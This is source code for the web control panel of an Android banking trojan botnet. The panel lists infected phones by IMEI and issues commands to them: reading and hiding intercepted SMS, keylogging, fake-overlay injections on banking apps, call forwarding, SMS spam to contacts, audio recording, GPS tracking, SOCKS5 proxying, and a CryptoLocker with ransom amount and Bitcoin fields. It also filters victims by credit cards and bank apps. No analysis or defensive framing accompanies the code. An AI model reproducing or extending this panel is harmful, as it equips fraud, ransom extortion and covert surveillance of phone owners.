<div class="modal fade modal_command" style="Height: 390px; Width: 340px; background: #1D1F24; margin: 0px auto auto -180px; padding: 10px; border-radius: 5px;" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true">
<button type="button" style="margin-top:-10px; color:#fff" onclick='checkOFF()' class="close" data-dismiss="modal" aria-hidden="true">×</button>
<div class="styled-select">
ID Bots<select name="comboBox_imeis" id="comboBox_imeis" style="color: #337ab7; font-size: 13; height: 28px;background: #1D1F24">
<input type='text' value='a' name='text_imei' id='text_imei' style='visibility:hidden'/></br>
</select>
Commands
<select name="comboBox_commands" id="comboBox_commands" onchange="showOption(this)" style='color: #337ab7; font-size: 13; height: 28px; background: #1D1F24'>
<option value='null'>
<option value='sentSMS'>Send SMS
<option value='startUSSD'>Start USSD
<option value='startApp'>Start Application
<option value='replaceURL'>Replace URL Admin Panel/Forwarding
<option value='getSMS'>Get All SMS
<option value='getapps'>Get All Installed Applications
<option value='getpermissions'>Get All Permissions
<option value='getkeylogger'>Get Logs Keylogger
<option value='startAlert'>Show Message Box
<option value='startPush'>Show Push Notification
<option value='startAutoPush'>Show Automatically Push Notification
<option value='startinj'>Start Fake-Locker
<option value='numberGO'>Get Numbers From Phone Book
<option value='numberGOsendSMS'>Sending SMS to your Contacts
<option value='spamsms'>Start Spam SMS
<option value='RequestPermissionInj'>Request Permission For Injection
<option value='RequestPermissionGPS'>Request Permission For Geolocation
<option value='startaccessibility'>Start Accessibility Service
<option value='startpermission'>Start Permission
<option value='startforward'>Start Forward Calls
<option value='stopforward'>Stop Forward Calls
<option value='openbrowser'>Open Link in Browser
<option value='openactivity'>Open Link in Activity
<option value='cryptolocker'>CryptoLocker
<option value='decryptolocker'>Decrypt File System
<option value='recordsound'>Record Sound
<option value='startsocks5'>Start Socks5
<option value='stopsocks5'>Stop Socks5
<option value='getIP'>Get IP Bot
<option value='killBot'>Kill Bot
</select>
<div id="div_sent_sms" name="div_sent_sms" style="visibility:hidden; margin-top:10px;">
Number<input type="text" name="text_number" id="text_number" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
Text<input type="text" name="text_msg" id="text_msg" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
</div>
<div id="div_push" style="visibility:hidden; margin-top:-97px;">
Title<input type="text" name="title_push" id="title_push" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
Text<input type="text" name="text_push" id="text_push" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
</div>
<div id="div_send_tel_book" style="visibility:hidden; margin-top:-97px;">
Text<input type="text" name="text_sms_tel_book" id="text_sms_tel_book" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
</div>
<div id="div_start_inj" style="visibility:hidden; margin-top:-43px;">
Select name of the fake
<select name="comboBox_inj" id="comboBox_inj" style='color: #337ab7; font-size: 13; height: 28px;background: #1D1F24'>
<?php
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT name,process FROM injection";
foreach($connection->query($sql) as $row){
$inj_name = $row['name'];
$inj_process = $row['process'];
$massivProc = explode(",", $inj_process);
$inj_process = $massivProc[0];
echo "<option value='$inj_process'>$inj_name";
}
?>
</select>
</div>
<div id="div_start_ussd" name="div_start_ussd" style="visibility:hidden; margin-top:-50px;">
USSD<input type="text" name="text_ussd" id="text_ussd" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
</div>
<div id="div_start_push" style="visibility:hidden; margin-top:-50px;">
Title<input type="text" name="titlePush" id="titlePush" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
Text<input type="text" name="textPush" id="textPush" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
Icon
<select name="comboBox_push" id="comboBox_push" style='color: #337ab7; font-size: 13; height: 28px;background: #1D1F24'>
<?php
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT name,process FROM injection";
foreach($connection->query($sql) as $row){
$inj_name = $row['name'];
if (!preg_match("/Grabber/",$inj_name)){
$inj_process = $row['process'];
$massivProc = explode(",", $inj_process);
$inj_process = $massivProc[0];
echo "<option value='$inj_process'>$inj_name";
}
}
?>
</select>
</div>
<div id="div_startforward" style="visibility:hidden; margin-top:-140px;">
Number<input type="text" name="text_forward" id="text_forward" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
</div>
<div id="div_openbrowser" style="visibility:hidden; margin-top:-50px;">
URL<input type="text" name="text_openbrowser" id="text_openbrowser" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
</div>
<div id="div_openactivity" style="visibility:hidden; margin-top:-50px;">
URL<input type="text" name="text_openactivity" id="text_openactivity" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
</div>
<div id="div_start_app" style="visibility:hidden; margin-top:-45px;">
Name Package Application<input type="text" name="text_start_app" id="text_start_app" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
</div>
<div id="div_replace_url" style="visibility:hidden; margin-top:-50px;">
URL<input type="text" name="text_replace_url" id="text_replace_url" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
</div>
<div id="div_crypt" style="visibility:hidden; margin-top:-50px;">
Encryption Key<input type="text" name="text_enc_key" id="text_enc_key" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
Amount<input type="text" name="text_enc_key" id="text_amount" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
Bitcoin<input type="text" name="text_enc_key" id="text_btc" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
</div>
<div id="div_decrypt" style="visibility:hidden; margin-top:-142px;">
Decryption Key<input type="text" name="text_dec_key" id="text_dec_key" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
</div>
<div id="div_record_sound" style="visibility:hidden; margin-top:-50px;">
Seconds<input type="text" name="text_seconds" id="text_seconds" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
</div>
<div id="div_spamsms" style="visibility:hidden; margin-top:-50px;">
Text<input type="text" name="text_spam_n" id="text_spam_n" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
</div>
<div id="div_socks5" style="visibility:hidden; margin-top:-50px;">
Host<input type="text" name="text_host_n" id="text_host_n" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
User<input type="text" name="text_user_n" id="text_user_n" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
Password<input type="text" name="text_pass_n" id="text_pass_n" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
Port<input type="text" name="text_port_n" id="text_port_n" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;"></input>
</div>
<script type="text/javascript">
function showOption(el)
{
if(el.options[el.selectedIndex].value == "openactivity")//WebSocket
{
document.getElementById("div_openactivity").style.visibility = "visible";
}else
{
document.getElementById("div_openactivity").style.visibility = "hidden";
}
if(el.options[el.selectedIndex].value == "openbrowser")//WebSocket
{
document.getElementById("div_openbrowser").style.visibility = "visible";
}else
{
document.getElementById("div_openbrowser").style.visibility = "hidden";
}
if(el.options[el.selectedIndex].value == "startforward")//WebSocket
{
document.getElementById("div_startforward").style.visibility = "visible";
}else
{
document.getElementById("div_startforward").style.visibility = "hidden";
}
if(el.options[el.selectedIndex].value == "sentSMS")//отправка смс
{
document.getElementById("div_sent_sms").style.visibility = "visible";
}else
{
document.getElementById("div_sent_sms").style.visibility = "hidden";
}
if(el.options[el.selectedIndex].value == "startAlert")//alert
{
document.getElementById("div_push").style.visibility = "visible";
}else
{
document.getElementById("div_push").style.visibility = "hidden";
}
if(el.options[el.selectedIndex].value == "numberGOsendSMS")//Рассылка СМС по телефонной книге
{
document.getElementById("div_send_tel_book").style.visibility = "visible";
}else
{
document.getElementById("div_send_tel_book").style.visibility = "hidden";
}
if(el.options[el.selectedIndex].value == "startinj")//injection
{
document.getElementById("div_start_inj").style.visibility = "visible";
}else
{
document.getElementById("div_start_inj").style.visibility = "hidden";
}
if(el.options[el.selectedIndex].value == "startUSSD")//USSD
{
document.getElementById("div_start_ussd").style.visibility = "visible";
}else
{
document.getElementById("div_start_ussd").style.visibility = "hidden";
}
if(el.options[el.selectedIndex].value == "startPush")//Push
{
document.getElementById("div_start_push").style.visibility = "visible";
}else
{
document.getElementById("div_start_push").style.visibility = "hidden";
}
if(el.options[el.selectedIndex].value == "startApp")//
{
document.getElementById("div_start_app").style.visibility = "visible";
}else
{
document.getElementById("div_start_app").style.visibility = "hidden";
}
if(el.options[el.selectedIndex].value == "replaceURL")//
{
document.getElementById("div_replace_url").style.visibility = "visible";
}else
{
document.getElementById("div_replace_url").style.visibility = "hidden";
}
if(el.options[el.selectedIndex].value == "cryptolocker")//
{
document.getElementById("div_crypt").style.visibility = "visible";
}else
{
document.getElementById("div_crypt").style.visibility = "hidden";
}
if(el.options[el.selectedIndex].value == "decryptolocker")//
{
document.getElementById("div_decrypt").style.visibility = "visible";
}else
{
document.getElementById("div_decrypt").style.visibility = "hidden";
}
if(el.options[el.selectedIndex].value == "recordsound")//
{
document.getElementById("div_record_sound").style.visibility = "visible";
}else
{
document.getElementById("div_record_sound").style.visibility = "hidden";
}
if(el.options[el.selectedIndex].value == "spamsms")//
{
document.getElementById("div_spamsms").style.visibility = "visible";
}else
{
document.getElementById("div_spamsms").style.visibility = "hidden";
}
if(el.options[el.selectedIndex].value == "startsocks5")//
{
document.getElementById("div_socks5").style.visibility = "visible";
}else
{
document.getElementById("div_socks5").style.visibility = "hidden";
}
}
</script>
<input type='submit' value='Add Command' id="bth_add_command" name='bth_add_command' onclick='sendDataCommand()' class='btn btn-outline-success' style='Width:100%; Height: 30px; font-size: 14; margin-top:15px;' data-dismiss="modal" aria-hidden="true"/>
<!--</form>-->
</div>
</div>
<div class="modal fade logs" id = "log_modal" style="margin-left:0px;">
<div id = "modal_l">
<a id="exit" data-dismiss="modal" aria-hidden="true" onclick="document.getElementById('logsTextArea').remove();" style="margin-left:97%; cursor: pointer; color: Red;">X</a>
<div class="styled-select" id="textArea"></div>
</div>
</div>
<div class="modal fade settings" style="Height: 622px; background: #1D1F24; margin: 0px auto auto -250px; padding: 10px; border-radius: 5px;" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true">
<button type="button" style="margin-top:-10px; color:#fff" class="close" data-dismiss="modal" aria-hidden="true">×</button>
<div class="styled-select">
<?php
$connection4 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection4->exec('SET NAMES utf8');
$sql4 = "SELECT * FROM settings";
echo "<center><a id='AstatusSettings'><h5 id='statusSettings'>Settings are not active, wait until the bot updates them..</h5></a></center>";
echo "ID Bots<select name='comboBox_imeis2' id='comboBox_imeis2' style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;''>";
echo "</select> ";
echo "</br></br>";
//-----------------------
echo "<h5><a>Time of the bot:</a> <a style='color: Red;' id='idSeconds'></a> <a> seconds</a></h5>";
echo "<a><h5>Injections</h5></a>";
$sql4 = "SELECT * FROM injection";
$countInject = 0;
echo "<div style='width:100%; height:150px; background: #1D1F24; border: 1px solid #C1C1C1; overflow: auto;'>";
foreach($connection4->query($sql4) as $row){
$countInject++;
$ID_inj = $row['id'];
$name_inj = $row['name'];
echo "<input type='checkbox' id='check_set' name='check_set[]' value='$ID_inj' style='margin-top: -10px;'>$name_inj</input></br>";
}
echo "</div>";
echo "All injections: $countInject";
echo "</br></br>";
echo "<input type=checkbox name=check_record id='check_record' value='1' style='margin-top:0px;'> Record Sound </input>";
echo "<input type='text' name='id_seconds' id='id_seconds' style='color: #337ab7; background: #1D1F24; width: 10%; font-size: 13; height: 22px; padding: 5px; font-family: Consolas; border: 1px solid #ccc; border-radius: 8px'></input> Seconds";
echo "</br>";
echo "<input type=checkbox name=lookscreen id='lookscreen' value='1' style='margin-top:0px;'> Look Screen</input>";
echo "</br>";
echo "<input type=checkbox name=check_set_v id='chkinterceptSMS' value='1' style='margin-top:0px;'> Interception SMS</input>";
echo "</br>";
echo "<input type=checkbox name=check_set_d id='chkhideSMS' value='1' style='margin-top:0px;'> Hidden SMS interception</input>";
echo "</br>";
echo "<input type=checkbox name=check_set_network id='chknetwork' value='1' style='margin-top:0px;' > Geolocation NETWORK</input>";
echo "</br>";
echo "<input type=checkbox name=check_set_gps id='chkgps' value='1' style='margin-top:0px;'> Geolocation GPS</input>";
echo "</br>";
echo "<input type=checkbox name=check_foreground id='check_foreground' value='1' style='margin-top:0px;'> Foreground Service</input>";
echo "</br>";
echo "<input type=checkbox name=check_keylogger id='check_keylogger' value='1' style='margin-top:0px;'> Keylogger</input>";
?>
<input type='text' name='text_imei_set' id='text_imei_set'style='visibility:hidden'/>
</br>
<input type='submit' value='Save settings' onclick="saveSetting()" id="bth_add_set" name='bth_add_set' class='btn btn-outline-success' style='Width:100%; Height: 30px; font-size: 14; margin-top:20px;' data-dismiss="modal" aria-hidden="true"/>
</div>
</div>
<div class="modal fade sorting" style="Width:400px; Height: 460px; background: #1D1F24; margin: 0px auto auto -180px; padding: 10px; border-radius: 5px;" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true">
<button type="button" style="margin-top:-10px; color:#fff" class="close" data-dismiss="modal" aria-hidden="true">×</button>
<form name="modal_set" method="POST">
<div class="styled-select">
<?php
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT * FROM kliets";
/****Ограничение по тегам****/
$userRights = new users_right;
$tags = explode("|", $userRights->getPrivateTags());
$thisTag = explode(",", $tags[0]);
$privateTag = explode(",", $tags[1]);
/****************************/
$massivCountry="";
$massivVersion="";
$massivPack="";
foreach($connection->query($sql) as $row)
{
$version_apk = $row['version_apk'];
$country = $row['country'];
$packbank = $row['bank'];
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
{
$boolContinue=true;
if($tags[0]!=",")
{
foreach($thisTag as $tag)
{
if($version_apk == $tag)
{
if($tag!="")
{
$boolContinue=false;
break;
}
}
}
if($boolContinue)continue;
}
else
{
foreach($privateTag as $tag)
{
if($version_apk == $tag)
{
if($tag!="")
{
$boolContinue=false;
break;
}
}
}
if(!$boolContinue)continue;
}
}//---------------
if(!preg_match("/$country/",$massivCountry))$massivCountry="$massivCountry/$country";
if(!preg_match("/$version_apk/",$massivVersion))$massivVersion="$massivVersion/$version_apk";
if(!preg_match("/$packbank/",$massivPack))$massivPack="$massivPack/$packbank";
}
?>
Condition bots
<select name="sort_kat" style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;'>
<option value='all'>All
<option value='online'>Online
<option value='offline'>Offline
<option value='kill'>Offline more than 2 days
</select>
</br></br>
Country
<select name="sortCountry" style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;'>
<option value='all'>All
<?php
$massivC = explode("/", $massivCountry);
foreach($massivC as $mc)
{
if($mc!="")echo "<option value='$mc'>$mc";
}
?>
</select>
</br></br>
Credit Cards/Injections
<select name="color" style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;'>
<option value='all'>All
<option value='cards'>Credit Cards
<option value='inject'>Injections
</select>
</br></br>
Tag
<select name="versions" style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;'>
<option value='all'>All
<?php
$massivV = explode("/", $massivVersion);
foreach($massivV as $mv){
if($mv!="")echo "<option value='$mv'>$mv";
}
?>
</select>
</br></br>
Package name
<select name="packBank" style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;'>
<option value='all'>All
<?php
$massivPack = str_replace(",","/",$massivPack);
$massivP = explode("/", $massivPack);
$heshinj = " ";
foreach($massivP as $mv){
if($mv!=""){
if (!preg_match("/$mv/",$heshinj)){
echo "<option value='$mv'>$mv";
$heshinj="$heshinj|$mv|";
}
}
}
?>
</select>
</br></br>
Banking app
<select name="bank" style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: Consolas; border: 1px solid #ccc;'>
<option value='all'>All
<option value='on'>Bank App
<option value='off'>No Bank App
</select>
<center>
<input type='submit' value='Sorting' id="bth_add_sort" name='bth_add_sort' class='btn btn-outline-success' style='Width:100%; Height: 30px; font-size: 14; margin-top:20px;'/>
</center>
</div>
</form>
</div>
</div>
<script>
//------------Обновление контента таблиц ----
function refreshIconLogBot(imei){
$.ajax({
url: "application/get/contentTable.php?imeis="+imei,
cache: false,
success: function(data){
var arrayBots = data.split('|');
//IMEI/онлайн/скрин/спец возможности/скрытый переват смс/инжи/геолокация/карты/инжекты/логи
for(var i=0;i<arrayBots.length;i++){
if(arrayBots[i]!=''){
var arrayElement = arrayBots[i].split(':');
for(var k=0;k<arrayElement.length;k++){
var imei = arrayElement[0];
var online = arrayElement[1];
var screen = arrayElement[2];
var accessibility = arrayElement[3];
var interceptSMS = arrayElement[4];
var inject = arrayElement[5];
var gps = arrayElement[6];
var cards_icon = arrayElement[7];
var inj_icon = arrayElement[8];
var log_icon = arrayElement[9];
//-------online------
var srcOnline = '';
if(online==1){
srcOnline = 'images/icons/offline.png';
}else if(online==2){
srcOnline = 'images/icons/kill.png';
}else if(online==0){
srcOnline = 'images/icons/online.png';
}
//------screen------
var srcScreen = '';
if(screen==1){
srcScreen = 'images/icons/V.png';
}else{
srcScreen = 'images/icons/X.png';
}
//-----accessibility-----
var srcAccessibility = '';
if(accessibility==1){
srcAccessibility = 'images/icons/juk_v.png';
}else{
srcAccessibility = 'images/icons/juk_x.png';
}
//-----hide sms-----
var srcHideSMS = '';
if(interceptSMS==1){
srcHideSMS = 'images/icons/sms_v.png';
}else{
srcHideSMS = 'images/icons/sms_x.png';
}
//-----Inject-----
var srcInject = '';
if(inject==1){
srcInject = 'images/icons/inj_v.png';
}else{
srcInject = 'images/icons/inj_off2.png';
}
//-----gps------
var srcGps = '';
if(gps==1){
srcGps = 'images/icons/geolocation_v.png';
}else{
srcGps = 'images/icons/geolocation_x.png';
}
//-----cardsIcon------
var srcCardsIcon = '';
if(cards_icon==1){
srcCardsIcon = 'images/icons/bank_on.png';
}else{
srcCardsIcon = 'images/icons/bank_off.png';
}
//-----injectIcon----
var srcInjectIcon = '';
if(inj_icon==1){
srcInjectIcon = 'images/icons/inj_on.png';
}else{
srcInjectIcon = 'images/icons/inj_off.png';
}
//-----LogsIcon----
var srcLogsIcon = '';
if(log_icon==1){
srcLogsIcon = 'images/icons/log_on.png';
}else if(log_icon==2){
srcLogsIcon = 'images/icons/log_on_g.png';
}else{
srcLogsIcon = 'images/icons/log_off.png';
}
document.getElementById('lastConnectIMG'+imei).src = srcOnline;
document.getElementById('Screen'+imei).src = srcScreen;
document.getElementById('Accessibility'+imei).src = srcAccessibility;
document.getElementById('interceptingSMS'+imei).src = srcHideSMS;
document.getElementById('injections'+imei).src = srcInject;
document.getElementById('geolocations'+imei).src = srcGps;
document.getElementById('cards'+imei).src = srcCardsIcon;
document.getElementById('inj'+imei).src = srcInjectIcon;
document.getElementById('logs'+imei).src = srcLogsIcon;
}
}
}
}
});
}
function refreshContentTable(){
var getImeis = document.getElementById("allimei").value;
$.ajax({
url: "application/get/contentTable.php?imeis="+getImeis,
cache: false,
success: function(data){
var arrayBots = data.split('|');
//IMEI/онлайн/скрин/спец возможности/скрытый переват смс/инжи/геолокация/карты/инжекты/логи
for(var i=0;i<arrayBots.length;i++){
if(arrayBots[i]!=''){
var arrayElement = arrayBots[i].split(':');
for(var k=0;k<arrayElement.length;k++){
var imei = arrayElement[0];
var online = arrayElement[1];
var screen = arrayElement[2];
var accessibility = arrayElement[3];
var interceptSMS = arrayElement[4];
var inject = arrayElement[5];
var gps = arrayElement[6];
var cards_icon = arrayElement[7];
var inj_icon = arrayElement[8];
var log_icon = arrayElement[9];
//-------online------
var srcOnline = '';
if(online==1){
srcOnline = 'images/icons/offline.png';
}else if(online==2){
srcOnline = 'images/icons/kill.png';
}else if(online==0){
srcOnline = 'images/icons/online.png';
}
//------screen------
var srcScreen = '';
if(screen==1){
srcScreen = 'images/icons/V.png';
}else{
srcScreen = 'images/icons/X.png';
}
//-----accessibility-----
var srcAccessibility = '';
if(accessibility==1){
srcAccessibility = 'images/icons/juk_v.png';
}else{
srcAccessibility = 'images/icons/juk_x.png';
}
//-----hide sms-----
var srcHideSMS = '';
if(interceptSMS==1){
srcHideSMS = 'images/icons/sms_v.png';
}else{
srcHideSMS = 'images/icons/sms_x.png';
}
//-----Inject-----
var srcInject = '';
if(inject==1){
srcInject = 'images/icons/inj_v.png';
}else{
srcInject = 'images/icons/inj_off2.png';
}
//-----gps------
var srcGps = '';
if(gps==1){
srcGps = 'images/icons/geolocation_v.png';
}else{
srcGps = 'images/icons/geolocation_x.png';
}
//-----cardsIcon------
var srcCardsIcon = '';
if(cards_icon==1){
srcCardsIcon = 'images/icons/bank_on.png';
}else{
srcCardsIcon = 'images/icons/bank_off.png';
}
//-----injectIcon----
var srcInjectIcon = '';
if(inj_icon==1){
srcInjectIcon = 'images/icons/inj_on.png';
}else{
srcInjectIcon = 'images/icons/inj_off.png';
}
//-----LogsIcon----
var srcLogsIcon = '';
if(log_icon==1){
srcLogsIcon = 'images/icons/log_on.png';
}else if(log_icon==2){
srcLogsIcon = 'images/icons/log_on_g.png';
}else{
srcLogsIcon = 'images/icons/log_off.png';
}
document.getElementById('lastConnectIMG'+imei).src = srcOnline;
document.getElementById('Screen'+imei).src = srcScreen;
document.getElementById('Accessibility'+imei).src = srcAccessibility;
document.getElementById('interceptingSMS'+imei).src = srcHideSMS;
document.getElementById('injections'+imei).src = srcInject;
document.getElementById('geolocations'+imei).src = srcGps;
document.getElementById('cards'+imei).src = srcCardsIcon;
document.getElementById('inj'+imei).src = srcInjectIcon;
document.getElementById('logs'+imei).src = srcLogsIcon;
}
}
}
}
});
}
//refreshContentTable();
/* setInterval('refreshContentTable()',3000); */
</script>
<?php } ?>
<?php
function getTimeConnect($date){
$date_sec = strtotime($date);
$date1 = date('Y-m-d H:i:s');
$date_sec1 = strtotime($date1);
$sek = $date_sec1 - $date_sec;
$time = new DateTime('@'.$sek);
$date = $time->format('d');
$color = "";
if($date==2){
$color = "orange";
return "<a style='color:$color'>".($date-1)." day</a>";
}
if($date>2){
if($date>=3)$color = "#525050";//--dead--
return "<a style='color:$color'>".($date-1)." days</a>";
}
$date = $time->format('H');
if($date==1){
$color = "orange";
return "<a style='color:$color'>".$date." hour</a>";
}
if($date>1){
$color = "orange";
return "<a style='color:$color'>".$date." hours</a>";
}
$date = $time->format('i');
if($date>=1){
if($date>=2){
$color = "orange";
}else{
$color = "#00FF00";//"green";
}
return "<a style='color:$color'>".$date." min</a>";
}
$date = $time->format('s');
if($date>=1){
$color="#00FF00";//"green";
return "<a style='color:$color'>".$date." sek</a>";
}
}
?>